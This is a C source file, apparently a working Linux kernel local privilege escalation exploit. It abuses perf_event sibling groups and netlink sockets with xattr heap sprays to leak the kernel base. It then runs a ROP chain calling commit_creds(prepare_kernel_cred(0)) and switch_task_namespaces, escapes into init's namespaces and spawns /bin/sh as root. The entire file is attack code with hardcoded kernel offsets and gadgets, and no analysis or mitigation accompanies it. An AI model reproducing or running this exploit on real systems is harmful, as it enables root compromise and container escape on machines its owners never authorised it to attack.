#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/xattr.h>
#include <sys/resource.h>
#include <linux/perf_event.h>
#include <linux/hw_breakpoint.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/membarrier.h>

#define READ_BUF_SIZE 2048

#define SK_RCU_OFF 744
#define SK_DESTRUCT_OFF 720
#define JOP_OFF (READ_BUF_SIZE - SK_RCU_OFF + SK_DESTRUCT_OFF - XATTR_HDR_LEN)

#define XATTR_HDR_LEN 32
#define XATTR_DATA_LEN1 (READ_BUF_SIZE/2)
#define XATTR_DATA_LEN2 (JOP_OFF + 8)

/* How far out to inc */
#define OOB_LOC1 688
#define OOB_LOC2 1040
/* Target event fds */
#define TFD1 ((READ_BUF_SIZE - 8 + OOB_LOC1)/8)
#define TFD2 ((READ_BUF_SIZE - 8 + OOB_LOC2)/8)
/* Locations in kernel text to increment from/to */
#define SOCK_DEF_WRITE_SPACE 0xd1ab30
#define __SK_DESTRUCT 0xd1b360
#define RTNETLINK_BIND 0xd52e80
#define RTNETLINK_BIND_RET 0xd52e8f
/* Number of increments */
#define NUM_INCS1 (__SK_DESTRUCT - SOCK_DEF_WRITE_SPACE)
#define NUM_INCS2 (RTNETLINK_BIND_RET - RTNETLINK_BIND)

#define NUM_SIBLINGS (65536/8 - 1 + READ_BUF_SIZE/8)

#define OBJS_PER_SLAB 16

#define SOCK_SLABS (2*OBJS_PER_SLAB)
#define SOCK_SPRAY (SOCK_SLABS*OBJS_PER_SLAB)

#define XATTR_SPRAY1 1000
#define XATTR_SPRAY2 (SOCK_SLABS+OBJS_PER_SLAB)

#define PREPARE_KERNEL_CRED 0x1bb6b0
#define COMMIT_CREDS 0x1bb410
#define FIND_TASK_BY_VPID 0x1b1df0
#define SWITCH_TASK_NAMESPACES 0x1b9880

#define DO_SYS_VFORK 0x18c3b0
#define MSLEEP 0x224be0

#define INIT_NSPROXY 0x2676600

#define MOV_RSP_RBP_POP_RBP_RET 0x12aeac
#define POP_RDI_RET_THUNK 0x0d8a3a
#define POP_RSI_RET_THUNK 0x04899f
#define MOV_RDI_RAX_POP_RBX_RET_THUNK 0x0d4f31

#define err_exit(s) do { perror(s); exit(EXIT_FAILURE); } while(0)

struct perf_event_attr attr;

int sib_fds[NUM_SIBLINGS];

long read_buf[8192];

int xattr_fd;

char xattr_data[XATTR_DATA_LEN2];

/*
 * Syscall wrappers.
 */

int perf_event_open(struct perf_event_attr *attr, pid_t pid, unsigned int cpu, int group_fd, unsigned long flags)
{
    return syscall(SYS_perf_event_open, attr, pid, cpu, group_fd, flags);
}

int membarrier(unsigned int flags, int cpu_id) {
    return syscall(SYS_membarrier, flags, cpu_id);
}

void pin_cpu () {
    cpu_set_t set;
    CPU_ZERO(&set);
    CPU_SET(0, &set);
    if (sched_setaffinity(0, sizeof(set), &set))
        err_exit("[-] sched_setaffinity");
}

void set_attr (void) {
    attr.type = PERF_TYPE_SOFTWARE;
    attr.size = sizeof(attr);
    attr.config = PERF_COUNT_SW_PAGE_FAULTS;
    attr.disabled = 1;
    attr.exclude_kernel = 1;
    attr.exclude_hv = 1;
}

void prepare_rop (long *rop, long kbase) {
    rop[JOP_OFF/8] = kbase + MOV_RSP_RBP_POP_RBP_RET;

    rop += (JOP_OFF - SK_DESTRUCT_OFF)/8;
    /* skip pop rbp */
    rop++;
    /* commit_creds(prepare_kernel_cred(0)) */
    *rop++ = kbase + POP_RDI_RET_THUNK;
    *rop++ = 0;
    *rop++ = kbase + PREPARE_KERNEL_CRED;
    *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK;
    rop++;
    *rop++ = kbase + COMMIT_CREDS;
    /* switch_task_namespaces(find_task_by_vpid(1, init_ns_proxy) */
    *rop++ = kbase + POP_RDI_RET_THUNK;
    *rop++ = 1;
    *rop++ = kbase + FIND_TASK_BY_VPID;
    *rop++ = kbase + POP_RSI_RET_THUNK;
    *rop++ = kbase + INIT_NSPROXY;
    *rop++ = kbase + MOV_RDI_RAX_POP_RBX_RET_THUNK;
    rop++;
    *rop++ = kbase + SWITCH_TASK_NAMESPACES;
    /* telefork */
    *rop++ = kbase + DO_SYS_VFORK;
    *rop++ = kbase + MSLEEP;
}

int num_xattr = 0;
int spray_simple_xattrs(int num_spray, void *xattr_val, int xattr_len) {
    char name[32];
    int ret = num_xattr;
    for (int i = 0; i < num_spray; i++, num_xattr++) {
        sprintf(name, "security.%d", num_xattr);
        if (fsetxattr(xattr_fd, name, xattr_val, xattr_len, 0) == -1)
            err_exit("[-] fsetxattr");
    }
    return ret;
}

int sock_fds[SOCK_SPRAY];
void spray_socks (void) {
    for (int i = 0; i < SOCK_SPRAY; i++) {
        sock_fds[i] = socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
        if (sock_fds[i] == -1)
            err_exit("[-] socket");
    }
}

void inc_counters (int fd, int inc) {
    if (ioctl(fd, PERF_EVENT_IOC_ENABLE, 0) == -1)
        err_exit("[-] ioctl");
    for (int i = 0; i < inc; i++) {
        char *m = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANON | MAP_PRIVATE, -1, 0);
        if (m == MAP_FAILED)
            err_exit("[-] mmap");
        m[0] = 0; /* Page fault */
        if (munmap(m, 4096) == -1)
            err_exit("[-] munmap");
    }
    if (ioctl(fd, PERF_EVENT_IOC_DISABLE, 0) == -1)
        err_exit("[-] ioctl");
}

int main (int argc, char **argv) {
    char name[32];
    int num_events = 0;
    long kernel_base;
    int target_sock;
    int optval = 1;

    struct rlimit rlim = { 4096, 4096 };
    if (setrlimit(RLIMIT_NOFILE, &rlim) == -1)
        err_exit("[-] setrlimit");

    pin_cpu();
    set_attr();

    pid_t ppid = getpid();

    printf("[*] Opening events\n");

    /* Create group leader event */
    attr.read_format = PERF_FORMAT_GROUP;
    attr.disabled = 0;
    sib_fds[0] = perf_event_open(&attr, ppid, -1, -1, 0);
    if (sib_fds[0] == -1)
        err_exit("[-] perf_event_open");


    /* Create sibling events */
    attr.read_format = 0;
    attr.disabled = 1;
    for (int i = 1; i <= TFD2; i++) {
            sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0);
            if (sib_fds[i] == -1) {
                err_exit("[-] perf_event_open");
            }
    }

    inc_counters(sib_fds[TFD1], NUM_INCS1);
    inc_counters(sib_fds[TFD2], NUM_INCS2);

    /* Create more events from child processes to get around open fd limit. */
    for (int i = 0; i < 3; i++) {
        pid_t cpid = fork();
        if (cpid == -1)
            err_exit("[-] fork");
        if (cpid)
            continue;
        for (int j = 1; j <= 2048; j++) {
            sib_fds[j] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0);
            if (sib_fds[j] == -1) {
                err_exit("[-] perf_event_open");
            }
        }
        sleep(-1);
    }

    /* Wait for events to be created */
    while (num_events <= 2048*3 + TFD2) {
        if (read(sib_fds[0], read_buf, 65536) == -1)
            err_exit("[-] read");
        num_events = read_buf[0];
    }

    /* Create the rest of the events */
    for (int i = TFD2 + 1; num_events < NUM_SIBLINGS; i++, num_events++) {
            sib_fds[i] = perf_event_open(&attr, ppid, -1, sib_fds[0], 0);
            if (sib_fds[i] == -1) {
                err_exit("[-] perf_event_open");
            }
    }

    printf("[*] Event group ready\n");

    xattr_fd = open("/tmp/", O_TMPFILE | O_RDWR, 0666);
    if (xattr_fd == -1)
        err_exit("[-] open");

    /* Fill up preexisting partial slabs */
    spray_simple_xattrs(XATTR_SPRAY1, xattr_data, XATTR_DATA_LEN1);


    /* Create target slabs */
    spray_socks();
    for (int i = 0; i < SOCK_SPRAY; i++) {
        if (i % OBJS_PER_SLAB == 0) {
            close(sock_fds[i]);
            sock_fds[i] = -1;
        }

    }

    /* Wait for netlink_socks to be freed */
    if (membarrier(MEMBARRIER_CMD_GLOBAL, 0) == -1)
        err_exit("[-] membarrier");

    /* Fill active slab */
    spray_simple_xattrs(OBJS_PER_SLAB, xattr_data, XATTR_DATA_LEN1);

    /* Trigger vulnerability */
    if (read(sib_fds[0], read_buf, READ_BUF_SIZE) == -1)
        err_exit("[-] read");

    /* Leak kernel base */
    target_sock = -1;
    optval = 1;
    for (int i = 0; i < SOCK_SPRAY; i++) {
        if (sock_fds[i] == -1)
            continue;
        int ret = setsockopt(sock_fds[i], SOL_NETLINK, NETLINK_ADD_MEMBERSHIP, &optval, sizeof(optval));
        if (ret) {
            kernel_base = 0xffffffff00000000 | (ret & 0xff000000);
            target_sock = sock_fds[i];
            break;
        }
    }

    if (target_sock == -1) {
        printf("[-] OOB failed\n");
        exit(1);
    }
    printf("[*] Leaked kernel base: %p\n", kernel_base);

    /* Trigger ROP */
    prepare_rop(xattr_data, kernel_base);
    spray_simple_xattrs(XATTR_SPRAY2, xattr_data, XATTR_DATA_LEN2);

    if (setsockopt(target_sock, SOL_SOCKET, SO_SNDBUF, &optval, sizeof(optval)) == -1)
        err_exit("[-] setsockopt");

    printf("[+] Returned from ROP\n");

    int mntns_fd = open("/proc/1/ns/mnt", O_RDONLY);
    int netns_fd = open("/proc/1/ns/net", O_RDONLY);
    int pidns_fd = open("/proc/1/ns/pid", O_RDONLY);

    if (mntns_fd == -1)
        perror("[-] open(/proc/1/ns/mnt)");
    if (setns(mntns_fd, CLONE_NEWNS) == -1)
        perror("[-] setns mnt");

    if (netns_fd == -1)
        perror("[-] open(/proc/1/ns/net)");
    if (setns(netns_fd, CLONE_NEWNET) == -1)
        perror("[-] setns net");

    if (pidns_fd == -1)
        perror("[-] open(/proc/1/ns/pid)");
    if (setns(pidns_fd, CLONE_NEWPID) == -1)
        perror("[-] setns pid");

    printf("[*] Launching shell\n");
    system("/bin/sh");
    return 0;
}